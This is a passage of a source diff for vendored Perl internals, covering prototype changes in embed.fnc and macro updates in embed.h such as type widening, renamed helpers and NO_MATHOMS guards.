-sR	|I32	|do_trans_count_utf8	|NN SV * const sv
-sR	|I32	|do_trans_complex_utf8	|NN SV * const sv
+sR	|Size_t	|do_trans_simple	|NN SV * const sv
+sR	|Size_t	|do_trans_count		|NN SV * const sv
+sR	|Size_t	|do_trans_complex	|NN SV * const sv
+sR	|Size_t	|do_trans_simple_utf8	|NN SV * const sv
+sR	|Size_t	|do_trans_count_utf8	|NN SV * const sv
+sR	|Size_t	|do_trans_complex_utf8	|NN SV * const sv
 #endif
 
 #if defined(PERL_IN_GV_C)
@@ -2070,13 +2149,13 @@
 
 #if defined(PERL_IN_HV_C)
 s	|void	|hsplit		|NN HV *hv|STRLEN const oldsize|STRLEN newsize
-s	|void	|hfreeentries	|NN HV *hv
+s	|void	|hv_free_entries|NN HV *hv
 s	|SV*	|hv_free_ent_ret|NN HV *hv|NN HE *entry
 sR	|HE*	|new_he
 sanR	|HEK*	|save_hek_flags	|NN const char *str|I32 len|U32 hash|int flags
 sn	|void	|hv_magic_check	|NN HV *hv|NN bool *needs_copy|NN bool *needs_store
 s	|void	|unshare_hek_or_pvn|NULLOK const HEK* hek|NULLOK const char* str|I32 len|U32 hash
-sR	|HEK*	|share_hek_flags|NN const char *str|I32 len|U32 hash|int flags
+sR	|HEK*	|share_hek_flags|NN const char *str|STRLEN len|U32 hash|int flags
 rs	|void	|hv_notallowed	|int flags|NN const char *key|I32 klen|NN const char *msg
 in	|U32|ptr_hash|PTRV u
 s	|struct xpvhv_aux*|hv_auxinit|NN HV *hv
@@ -2188,17 +2267,17 @@
 #endif
 
 #if defined(PERL_IN_PP_PACK_C)
-s	|I32	|unpack_rec	|NN struct tempsym* symptr|NN const char *s \
+s	|SSize_t|unpack_rec	|NN struct tempsym* symptr|NN const char *s \
 				|NN const char *strbeg|NN const char *strend|NULLOK const char **new_s
 s	|SV **	|pack_rec	|NN SV *cat|NN struct tempsym* symptr|NN SV **beglist|NN SV **endlist
 s	|SV*	|mul128		|NN SV *sv|U8 m
-s	|I32	|measure_struct	|NN struct tempsym* symptr
+s	|SSize_t|measure_struct	|NN struct tempsym* symptr
 s	|bool	|next_symbol	|NN struct tempsym* symptr
 sR	|SV*	|is_an_int	|NN const char *s|STRLEN l
 s	|int	|div128		|NN SV *pnum|NN bool *done
 s	|const char *|group_end	|NN const char *patptr|NN const char *patend \
 				|char ender
-sR	|const char *|get_num	|NN const char *patptr|NN I32 *lenptr
+sR	|const char *|get_num	|NN const char *patptr|NN SSize_t *lenptr
 ns	|bool	|need_utf8	|NN const char *pat|NN const char *patend
 ns	|char	|first_symbol	|NN const char *pat|NN const char *patend
 sR	|char *	|sv_exp_grow	|NN SV *sv|STRLEN needed
@@ -2207,7 +2286,7 @@
 #endif
 
 #if defined(PERL_IN_PP_CTL_C)
-sR	|OP*	|docatch	|NULLOK OP *o
+sR	|OP*	|docatch	|Perl_ppaddr_t firstpp
 sR	|OP*	|dofindlabel	|NN OP *o|NN const char *label|STRLEN len \
                                 |U32 flags|NN OP **opstack|NN OP **oplimit
 s	|MAGIC *|doparseform	|NN SV *sv
@@ -2251,7 +2330,6 @@
 s	|I32	|sortcv		|NN SV *const a|NN SV *const b
 s	|I32	|sortcv_xsub	|NN SV *const a|NN SV *const b
 s	|I32	|sortcv_stacked	|NN SV *const a|NN SV *const b
-s	|void	|qsortsvu	|NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t compare
 #endif
 
 #if defined(PERL_IN_PP_SYS_C)
@@ -2398,6 +2476,7 @@
                                 |I32 stopparen|U32 recursed_depth \
 				|NULLOK regnode_ssc *and_withp \
 				|U32 flags|U32 depth
+EsR	|SV *	|get_ANYOFM_contents|NN const regnode * n
 EsRn	|U32	|add_data	|NN RExC_state_t* const pRExC_state \
 				|NN const char* const s|const U32 n
 rs	|void	|re_croak2	|bool utf8|NN const char* pat1|NN const char* pat2|...
@@ -2430,7 +2509,7 @@
 				|NN SV* sv|I32 indent|U32 depth
 Es	|void	|put_code_point	|NN SV* sv|UV c
 Es	|bool	|put_charclass_bitmap_innards|NN SV* sv		    \
-				|NN char* bitmap		    \
+				|NULLOK char* bitmap		    \
 				|NULLOK SV* nonbitmap_invlist	    \
 				|NULLOK SV* only_utf8_locale_invlist\
 				|NULLOK const regnode * const node  \
@@ -2470,7 +2549,15 @@
 #endif
 
 #if defined(PERL_IN_REGEXEC_C)
-ERs	|bool	|isFOO_utf8_lc	|const U8 classnum|NN const U8* character
+ERs	|bool	|isFOO_utf8_lc	|const U8 classnum|NN const U8* character|NN const U8* e
+ERns	|char *	|find_next_ascii|NN char* s|NN const char * send|const bool is_utf8
+ERns	|char *	|find_next_non_ascii|NN char* s|NN const char * send|const bool is_utf8
+ERns	|U8 *	|find_next_masked|NN U8 * s				\
+				 |NN const U8 * send			\
+				 |const U8 byte|const U8 mask
+ERns	|U8 *|find_span_end	|NN U8* s|NN const U8 * send|const U8 span_byte
+ERns	|U8 *|find_span_end_mask|NN U8 * s|NN const U8 * send	\
+				|const U8 span_byte|const U8 mask
 ERs	|SSize_t|regmatch	|NN regmatch_info *reginfo|NN char *startpos|NN regnode *prog
 WERs	|I32	|regrepeat	|NN regexp *prog|NN char **startposp \
 				|NN const regnode *p \
@@ -2600,7 +2687,7 @@
 s	|int	|sv_2iuv_non_preserve	|NN SV *const sv
 #    endif
 #  endif
-sR	|I32	|expect_number	|NN char **const pattern
+sR	|STRLEN	|expect_number	|NN const char **const pattern
 sn	|STRLEN	|sv_pos_u2b_forwards|NN const U8 *const start \
 		|NN const U8 *const send|NN STRLEN *const uoffset \
 		|NN bool *const at_end
@@ -2666,11 +2753,11 @@
 				|NN const char *what
 s	|void	|force_ident	|NN const char *s|int kind
 s	|void	|force_ident_maybe_lex|char pit
-s	|void	|incline	|NN const char *s
+s	|void	|incline	|NN const char *s|NN const char *end
 s	|int	|intuit_method	|NN char *s|NULLOK SV *ioname|NULLOK CV *cv
-s	|int	|intuit_more	|NN char *s
+s	|int	|intuit_more	|NN char *s|NN char *e
 s	|I32	|lop		|I32 f|U8 x|NN char *s
-rs	|void	|missingterm	|NULLOK char *s
+rs	|void	|missingterm	|NULLOK char *s|STRLEN len
 s	|void	|no_op		|NN const char *const what|NULLOK char *s
 s	|int	|pending_ident
 sR	|I32	|sublex_done
@@ -2683,11 +2770,11 @@
 				|NN const char *key|STRLEN keylen|NN SV *sv \
 				|NULLOK SV *pv|NULLOK const char *type \
 				|STRLEN typelen
-s	|int	|deprecate_commaless_var_list
 s	|int	|ao		|int toketype
 s	|void|parse_ident|NN char **s|NN char **d \
                      |NN char * const e|int allow_package \
-				|bool is_utf8|bool check_dollar
+				|bool is_utf8|bool check_dollar \
+				|bool tick_warn
 #  if defined(PERL_CR_FILTER)
 s	|I32	|cr_textfilter	|int idx|NULLOK SV *sv|int maxlen
 s	|void	|strip_return	|NN SV *sv
@@ -2697,7 +2784,8 @@
 sf	|void	|printbuf	|NN const char *const fmt|NN const char *const s
 #  endif
 #endif
-EXMp	|bool	|validate_proto	|NN SV *name|NULLOK SV *proto|bool warn
+EXMp	|bool	|validate_proto	|NN SV *name|NULLOK SV *proto|bool warn \
+		|bool curstash
 
 #if defined(PERL_IN_UNIVERSAL_C)
 s	|bool	|isa_lookup	|NN HV *stash|NN const char * const name \
@@ -2704,25 +2792,56 @@
                                         |STRLEN len|U32 flags
 #endif
 
-#if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C)
+#if defined(PERL_IN_LOCALE_C)
+sn	|const char*|category_name |const int category
+s	|const char*|switch_category_locale_to_template|const int switch_category|const int template_category|NULLOK const char * template_locale
+s	|void	|restore_switched_locale|const int category|NULLOK const char * const original_locale
+#  ifdef HAS_NL_LANGINFO
+sn	|const char*|my_nl_langinfo|const nl_item item|bool toggle
+#  else
+sn	|const char*|my_nl_langinfo|const int item|bool toggle
+#  endif
+inR	|const char *|save_to_buffer|NULLOK const char * string	\
+				    |NULLOK char **buf		\
+				    |NN Size_t *buf_size	\
+				    |const Size_t offset
+#  if defined(USE_LOCALE)
 s	|char*	|stdize_locale	|NN char* locs
-#   ifdef DEBUGGING
+s	|void	|new_collate	|NULLOK const char* newcoll
+s	|void	|new_ctype	|NN const char* newctype
+s	|void	|set_numeric_radix|const bool use_locale
+s	|void	|new_numeric	|NULLOK const char* newnum
+#    ifdef USE_POSIX_2008_LOCALE
+sn	|const char*|emulate_setlocale|const int category		\
+				    |NULLOK const char* locale		\
+				    |unsigned int index			\
+				    |const bool is_index_valid
+#    endif
+#    ifdef WIN32
+s	|char*	|win32_setlocale|int category|NULLOK const char* locale
+#    endif
+#    ifdef DEBUGGING
 s	|void	|print_collxfrm_input_and_return		\
 			    |NN const char * const s		\
 			    |NN const char * const e		\
 			    |NULLOK const STRLEN * const xlen	\
 			    |const bool is_utf8
-#   endif
+s	|void	|print_bytes_for_locale	|NN const char * const s	\
+					|NN const char * const e	\
+					|const bool is_utf8
+snR	|char *	|setlocale_debug_string	|const int category		    \
+					|NULLOK const char* const locale    \
+					|NULLOK const char* const retval
+#    endif
+#  endif
 #endif
 
-#if defined(USE_LOCALE) \
-    && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX))
+#if        defined(USE_LOCALE)		\
+    && (   defined(PERL_IN_LOCALE_C)	\
+        || defined(PERL_IN_MG_C)	\
+	|| defined (PERL_EXT_POSIX)	\
+	|| defined (PERL_EXT_LANGINFO))
 ApM	|bool	|_is_cur_LC_category_utf8|int category
-#	ifdef DEBUGGING
-AMnpR	|char *	|_setlocale_debug_string|const int category		    \
-					|NULLOK const char* const locale    \
-					|NULLOK const char* const retval
-#	endif
 #endif
 
 
@@ -2752,6 +2871,9 @@
 #endif
 
 #if defined(PERL_IN_UTF8_C)
+sR	|HV *	|new_msg_hv |NN const char * const message		    \
+			    |U32 categories				    \
+			    |U32 flag
 sRM	|UV	|check_locale_boundary_crossing				    \
 		|NN const U8* const p					    \
 		|const UV result					    \
@@ -2758,12 +2880,12 @@
 		|NN U8* const ustrp					    \
 		|NN STRLEN *lenp
 iR	|bool	|is_utf8_common	|NN const U8 *const p			    \
-				|NN SV **swash				    \
+				|NULLOK SV **swash			    \
 				|NN const char * const swashname	    \
 				|NULLOK SV* const invlist
 iR	|bool	|is_utf8_common_with_len|NN const U8 *const p		    \
 					   |NN const U8 *const e	    \
-				    |NN SV **swash			    \
+				    |NULLOK SV **swash			    \
 				    |NN const char * const swashname	    \
 				    |NULLOK SV* const invlist
 sR	|SV*	|swatch_get	|NN SV* swash|UV start|UV span
@@ -2927,6 +3049,7 @@
 #endif
 
 ApdR	|SV*	|hv_scalar	|NN HV *hv
+p	|void	|hv_pushkv	|NN HV *hv|U32 flags
 ApdRM	|SV*	|hv_bucket_ratio|NN HV *hv
 ApoR	|I32*	|hv_riter_p	|NN HV *hv
 ApoR	|HE**	|hv_eiter_p	|NN HV *hv
@@ -2981,10 +3104,6 @@
 XEopMR	|STRLEN *|new_warnings_bitfield|NULLOK STRLEN *buffer \
 				|NN const char *const bits|STRLEN size
 
-#ifndef SPRINTF_RETURNS_STRLEN
-Apnod	|int	|my_sprintf	|NN char *buffer|NN const char *pat|...
-#endif
-
 Apnodf	|int	|my_snprintf	|NN char *buffer|const Size_t len|NN const char *format|...
 Apnod	|int	|my_vsnprintf	|NN char *buffer|const Size_t len|NN const char *format|va_list ap
 #ifdef USE_QUADMATH
@@ -3018,6 +3137,17 @@
 Apnod	|Size_t |my_strlcpy     |NULLOK char *dst|NULLOK const char *src|Size_t size
 #endif
 
+#ifndef HAS_STRNLEN
+Apnod	|Size_t |my_strnlen     |NN const char *str|Size_t maxlen
+#endif
+
+#ifndef HAS_MKOSTEMP
+pno	|int	|my_mkostemp	|NN char *templte|int flags
+#endif
+#ifndef HAS_MKSTEMP
+pno	|int	|my_mkstemp	|NN char *templte
+#endif
+
 APpdn	|bool	|isinfnan	|NV nv
 p	|bool	|isinfnansv	|NN SV *sv
 

Modified: vendor/perl/dist/embed.h
===================================================================
--- vendor/perl/dist/embed.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/embed.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -28,7 +28,6 @@
 
 #define Gv_AMupdate(a,b)	Perl_Gv_AMupdate(aTHX_ a,b)
 #define _force_out_malformed_utf8_message(a,b,c,d)	Perl__force_out_malformed_utf8_message(aTHX_ a,b,c,d)
-#define _is_in_locale_category(a,b)	Perl__is_in_locale_category(aTHX_ a,b)
 #define _is_uni_FOO(a,b)	Perl__is_uni_FOO(aTHX_ a,b)
 #define _is_uni_perl_idcont(a)	Perl__is_uni_perl_idcont(aTHX_ a)
 #define _is_uni_perl_idstart(a)	Perl__is_uni_perl_idstart(aTHX_ a)
@@ -71,7 +70,7 @@
 #define block_gimme()		Perl_block_gimme(aTHX)
 #define block_start(a)		Perl_block_start(aTHX_ a)
 #define bytes_cmp_utf8(a,b,c,d)	Perl_bytes_cmp_utf8(aTHX_ a,b,c,d)
-#define bytes_from_utf8(a,b,c)	Perl_bytes_from_utf8(aTHX_ a,b,c)
+#define bytes_from_utf8_loc	Perl_bytes_from_utf8_loc
 #define bytes_to_utf8(a,b)	Perl_bytes_to_utf8(aTHX_ a,b)
 #define call_argv(a,b,c)	Perl_call_argv(aTHX_ a,b,c)
 #define call_atexit(a,b)	Perl_call_atexit(aTHX_ a,b)
@@ -99,11 +98,16 @@
 #define croak_no_modify		Perl_croak_no_modify
 #define croak_sv(a)		Perl_croak_sv(aTHX_ a)
 #define croak_xs_usage		Perl_croak_xs_usage
+#ifndef NO_MATHOMS
 #define custom_op_desc(a)	Perl_custom_op_desc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define custom_op_name(a)	Perl_custom_op_name(aTHX_ a)
+#endif
 #define cv_clone(a)		Perl_cv_clone(aTHX_ a)
 #define cv_const_sv		Perl_cv_const_sv
 #define cv_get_call_checker(a,b,c)	Perl_cv_get_call_checker(aTHX_ a,b,c)
+#define cv_get_call_checker_flags(a,b,c,d,e)	Perl_cv_get_call_checker_flags(aTHX_ a,b,c,d,e)
 #define cv_name(a,b,c)		Perl_cv_name(aTHX_ a,b,c)
 #define cv_set_call_checker(a,b,c)	Perl_cv_set_call_checker(aTHX_ a,b,c)
 #define cv_set_call_checker_flags(a,b,c,d)	Perl_cv_set_call_checker_flags(aTHX_ a,b,c,d)
@@ -123,7 +127,9 @@
 #define die			Perl_die
 #endif
 #define die_sv(a)		Perl_die_sv(aTHX_ a)
+#ifndef NO_MATHOMS
 #define do_binmode(a,b,c)	Perl_do_binmode(aTHX_ a,b,c)
+#endif
 #define do_close(a,b)		Perl_do_close(aTHX_ a,b)
 #define do_gv_dump(a,b,c,d)	Perl_do_gv_dump(aTHX_ a,b,c,d)
 #define do_gvgv_dump(a,b,c,d)	Perl_do_gvgv_dump(aTHX_ a,b,c,d)
@@ -131,7 +137,9 @@
 #define do_join(a,b,c,d)	Perl_do_join(aTHX_ a,b,c,d)
 #define do_magic_dump(a,b,c,d,e,f,g)	Perl_do_magic_dump(aTHX_ a,b,c,d,e,f,g)
 #define do_op_dump(a,b,c)	Perl_do_op_dump(aTHX_ a,b,c)
+#ifndef NO_MATHOMS
 #define do_open9(a,b,c,d,e,f,g,h,i)	Perl_do_open9(aTHX_ a,b,c,d,e,f,g,h,i)
+#endif
 #define do_openn(a,b,c,d,e,f,g,h,i)	Perl_do_openn(aTHX_ a,b,c,d,e,f,g,h,i)
 #define do_pmop_dump(a,b,c)	Perl_do_pmop_dump(aTHX_ a,b,c)
 #define do_sprintf(a,b,c)	Perl_do_sprintf(aTHX_ a,b,c)
@@ -194,7 +202,9 @@
 #define gv_check(a)		Perl_gv_check(aTHX_ a)
 #define gv_const_sv(a)		Perl_gv_const_sv(aTHX_ a)
 #define gv_dump(a)		Perl_gv_dump(aTHX_ a)
+#ifndef NO_MATHOMS
 #define gv_efullname(a,b)	Perl_gv_efullname(aTHX_ a,b)
+#endif
 #define gv_efullname4(a,b,c,d)	Perl_gv_efullname4(aTHX_ a,b,c,d)
 #define gv_fetchfile(a)		Perl_gv_fetchfile(aTHX_ a)
 #define gv_fetchfile_flags(a,b,c)	Perl_gv_fetchfile_flags(aTHX_ a,b,c)
@@ -211,7 +221,9 @@
 #define gv_fetchpv(a,b,c)	Perl_gv_fetchpv(aTHX_ a,b,c)
 #define gv_fetchpvn_flags(a,b,c,d)	Perl_gv_fetchpvn_flags(aTHX_ a,b,c,d)
 #define gv_fetchsv(a,b,c)	Perl_gv_fetchsv(aTHX_ a,b,c)
+#ifndef NO_MATHOMS
 #define gv_fullname(a,b)	Perl_gv_fullname(aTHX_ a,b)
+#endif
 #define gv_fullname4(a,b,c,d)	Perl_gv_fullname4(aTHX_ a,b,c,d)
 #define gv_handler(a,b)		Perl_gv_handler(aTHX_ a,b)
 #define gv_init_pv(a,b,c,d)	Perl_gv_init_pv(aTHX_ a,b,c,d)
@@ -240,78 +252,187 @@
 #define hv_rand_set(a,b)	Perl_hv_rand_set(aTHX_ a,b)
 #define hv_scalar(a)		Perl_hv_scalar(aTHX_ a)
 #define init_i18nl10n(a)	Perl_init_i18nl10n(aTHX_ a)
+#ifndef NO_MATHOMS
 #define init_i18nl14n(a)	Perl_init_i18nl14n(aTHX_ a)
+#endif
 #define init_stacks()		Perl_init_stacks(aTHX)
 #define init_tm(a)		Perl_init_tm(aTHX_ a)
 #define intro_my()		Perl_intro_my(aTHX)
+#ifndef NO_MATHOMS
 #define isALNUM_lazy(a)		Perl_isALNUM_lazy(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define isIDFIRST_lazy(a)	Perl_isIDFIRST_lazy(aTHX_ a)
-#define is_c9strict_utf8_string	S_is_c9strict_utf8_string
+#endif
 #define is_c9strict_utf8_string_loclen	S_is_c9strict_utf8_string_loclen
 #define is_lvalue_sub()		Perl_is_lvalue_sub(aTHX)
 #define is_safe_syscall(a,b,c,d)	S_is_safe_syscall(aTHX_ a,b,c,d)
-#define is_strict_utf8_string	S_is_strict_utf8_string
 #define is_strict_utf8_string_loclen	S_is_strict_utf8_string_loclen
+#ifndef NO_MATHOMS
 #define is_uni_alnum(a)		Perl_is_uni_alnum(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_alnum_lc(a)	Perl_is_uni_alnum_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_alnumc(a)	Perl_is_uni_alnumc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_alnumc_lc(a)	Perl_is_uni_alnumc_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_alpha(a)		Perl_is_uni_alpha(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_alpha_lc(a)	Perl_is_uni_alpha_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_ascii(a)		Perl_is_uni_ascii(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_ascii_lc(a)	Perl_is_uni_ascii_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_blank(a)		Perl_is_uni_blank(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_blank_lc(a)	Perl_is_uni_blank_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_cntrl(a)		Perl_is_uni_cntrl(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_cntrl_lc(a)	Perl_is_uni_cntrl_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_digit(a)		Perl_is_uni_digit(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_digit_lc(a)	Perl_is_uni_digit_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_graph(a)		Perl_is_uni_graph(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_graph_lc(a)	Perl_is_uni_graph_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_idfirst(a)	Perl_is_uni_idfirst(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_idfirst_lc(a)	Perl_is_uni_idfirst_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_lower(a)		Perl_is_uni_lower(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_lower_lc(a)	Perl_is_uni_lower_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_print(a)		Perl_is_uni_print(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_print_lc(a)	Perl_is_uni_print_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_punct(a)		Perl_is_uni_punct(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_punct_lc(a)	Perl_is_uni_punct_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_space(a)		Perl_is_uni_space(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_space_lc(a)	Perl_is_uni_space_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_upper(a)		Perl_is_uni_upper(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_upper_lc(a)	Perl_is_uni_upper_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_xdigit(a)	Perl_is_uni_xdigit(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_uni_xdigit_lc(a)	Perl_is_uni_xdigit_lc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_alnum(a)	Perl_is_utf8_alnum(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_alnumc(a)	Perl_is_utf8_alnumc(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_alpha(a)	Perl_is_utf8_alpha(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_ascii(a)	Perl_is_utf8_ascii(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_blank(a)	Perl_is_utf8_blank(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_char		Perl_is_utf8_char
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_cntrl(a)	Perl_is_utf8_cntrl(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_digit(a)	Perl_is_utf8_digit(aTHX_ a)
+#endif
 #define is_utf8_fixed_width_buf_loclen_flags	S_is_utf8_fixed_width_buf_loclen_flags
+#ifndef NO_MATHOMS
 #define is_utf8_graph(a)	Perl_is_utf8_graph(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_idcont(a)	Perl_is_utf8_idcont(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_idfirst(a)	Perl_is_utf8_idfirst(aTHX_ a)
-#define is_utf8_invariant_string	S_is_utf8_invariant_string
+#endif
+#define is_utf8_invariant_string_loc	S_is_utf8_invariant_string_loc
+#ifndef NO_MATHOMS
 #define is_utf8_lower(a)	Perl_is_utf8_lower(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_mark(a)		Perl_is_utf8_mark(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_perl_space(a)	Perl_is_utf8_perl_space(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_perl_word(a)	Perl_is_utf8_perl_word(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_posix_digit(a)	Perl_is_utf8_posix_digit(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_print(a)	Perl_is_utf8_print(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_punct(a)	Perl_is_utf8_punct(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_space(a)	Perl_is_utf8_space(aTHX_ a)
-#define is_utf8_string		Perl_is_utf8_string
+#endif
 #define is_utf8_string_flags	S_is_utf8_string_flags
 #define is_utf8_string_loclen	Perl_is_utf8_string_loclen
 #define is_utf8_string_loclen_flags	S_is_utf8_string_loclen_flags
+#ifndef NO_MATHOMS
 #define is_utf8_upper(a)	Perl_is_utf8_upper(aTHX_ a)
+#endif
 #define is_utf8_valid_partial_char_flags	S_is_utf8_valid_partial_char_flags
+#ifndef NO_MATHOMS
 #define is_utf8_xdigit(a)	Perl_is_utf8_xdigit(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_xidcont(a)	Perl_is_utf8_xidcont(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define is_utf8_xidfirst(a)	Perl_is_utf8_xidfirst(aTHX_ a)
+#endif
 #define isinfnan		Perl_isinfnan
 #define leave_adjust_stacks(a,b,c,d)	Perl_leave_adjust_stacks(aTHX_ a,b,c,d)
 #define leave_scope(a)		Perl_leave_scope(aTHX_ a)
@@ -344,6 +465,7 @@
 #define mg_findext		Perl_mg_findext
 #define mg_free(a)		Perl_mg_free(aTHX_ a)
 #define mg_free_type(a,b)	Perl_mg_free_type(aTHX_ a,b)
+#define mg_freeext(a,b,c)	Perl_mg_freeext(aTHX_ a,b,c)
 #define mg_get(a)		Perl_mg_get(aTHX_ a)
 #define mg_length(a)		Perl_mg_length(aTHX_ a)
 #define mg_magical		Perl_mg_magical
@@ -363,7 +485,6 @@
 #define my_popen_list(a,b,c)	Perl_my_popen_list(aTHX_ a,b,c)
 #define my_setenv(a,b)		Perl_my_setenv(aTHX_ a,b)
 #define my_socketpair		Perl_my_socketpair
-#define my_strerror(a)		Perl_my_strerror(aTHX_ a)
 #define my_strftime(a,b,c,d,e,f,g,h,i,j)	Perl_my_strftime(aTHX_ a,b,c,d,e,f,g,h,i,j)
 #define newANONATTRSUB(a,b,c,d)	Perl_newANONATTRSUB(aTHX_ a,b,c,d)
 #define newANONHASH(a)		Perl_newANONHASH(aTHX_ a)
@@ -429,9 +550,6 @@
 #define newWHILEOP(a,b,c,d,e,f,g)	Perl_newWHILEOP(aTHX_ a,b,c,d,e,f,g)
 #define newXS(a,b,c)		Perl_newXS(aTHX_ a,b,c)
 #define newXS_flags(a,b,c,d,e)	Perl_newXS_flags(aTHX_ a,b,c,d,e)
-#define new_collate(a)		Perl_new_collate(aTHX_ a)
-#define new_ctype(a)		Perl_new_ctype(aTHX_ a)
-#define new_numeric(a)		Perl_new_numeric(aTHX_ a)
 #define new_stackinfo(a,b)	Perl_new_stackinfo(aTHX_ a,b)
 #define new_version(a)		Perl_new_version(aTHX_ a)
 #define nothreadhook()		Perl_nothreadhook(aTHX)
@@ -449,7 +567,9 @@
 #define op_refcnt_unlock()	Perl_op_refcnt_unlock(aTHX)
 #define op_scope(a)		Perl_op_scope(aTHX_ a)
 #define op_sibling_splice	Perl_op_sibling_splice
+#ifndef NO_MATHOMS
 #define pack_cat(a,b,c,d,e,f,g)	Perl_pack_cat(aTHX_ a,b,c,d,e,f,g)
+#endif
 #define packlist(a,b,c,d,e)	Perl_packlist(aTHX_ a,b,c,d,e)
 #define pad_add_anon(a,b)	Perl_pad_add_anon(aTHX_ a,b)
 #define pad_add_name_pv(a,b,c,d)	Perl_pad_add_name_pv(aTHX_ a,b,c,d)
@@ -548,9 +668,15 @@
 #define save_int(a)		Perl_save_int(aTHX_ a)
 #define save_item(a)		Perl_save_item(aTHX_ a)
 #define save_iv(a)		Perl_save_iv(aTHX_ a)
+#ifndef NO_MATHOMS
 #define save_list(a,b)		Perl_save_list(aTHX_ a,b)
+#endif
+#ifndef NO_MATHOMS
 #define save_long(a)		Perl_save_long(aTHX_ a)
+#endif
+#ifndef NO_MATHOMS
 #define save_nogv(a)		Perl_save_nogv(aTHX_ a)
+#endif
 #define save_padsv_and_mortalize(a)	Perl_save_padsv_and_mortalize(aTHX_ a)
 #define save_pptr(a)		Perl_save_pptr(aTHX_ a)
 #define save_pushi32ptr(a,b,c)	Perl_save_pushi32ptr(aTHX_ a,b,c)
@@ -579,9 +705,6 @@
 #define scan_vstring(a,b,c)	Perl_scan_vstring(aTHX_ a,b,c)
 #define seed()			Perl_seed(aTHX)
 #define set_context		Perl_set_context
-#define set_numeric_local()	Perl_set_numeric_local(aTHX)
-#define set_numeric_radix()	Perl_set_numeric_radix(aTHX)
-#define set_numeric_standard()	Perl_set_numeric_standard(aTHX)
 #define setdefout(a)		Perl_setdefout(aTHX_ a)
 #define share_hek(a,b,c)	Perl_share_hek(aTHX_ a,b,c)
 #define sortsv(a,b,c)		Perl_sortsv(aTHX_ a,b,c)
@@ -639,7 +762,9 @@
 #define sv_insert_flags(a,b,c,d,e,f)	Perl_sv_insert_flags(aTHX_ a,b,c,d,e,f)
 #define sv_isa(a,b)		Perl_sv_isa(aTHX_ a,b)
 #define sv_isobject(a)		Perl_sv_isobject(aTHX_ a)
+#ifndef NO_MATHOMS
 #define sv_iv(a)		Perl_sv_iv(aTHX_ a)
+#endif
 #define sv_len(a)		Perl_sv_len(aTHX_ a)
 #define sv_len_utf8(a)		Perl_sv_len_utf8(aTHX_ a)
 #define sv_magic(a,b,c,d,e)	Perl_sv_magic(aTHX_ a,b,c,d,e)
@@ -650,18 +775,28 @@
 #ifndef NO_MATHOMS
 #define sv_nounlocking(a)	Perl_sv_nounlocking(aTHX_ a)
 #endif
+#ifndef NO_MATHOMS
 #define sv_nv(a)		Perl_sv_nv(aTHX_ a)
+#endif
 #define sv_peek(a)		Perl_sv_peek(aTHX_ a)
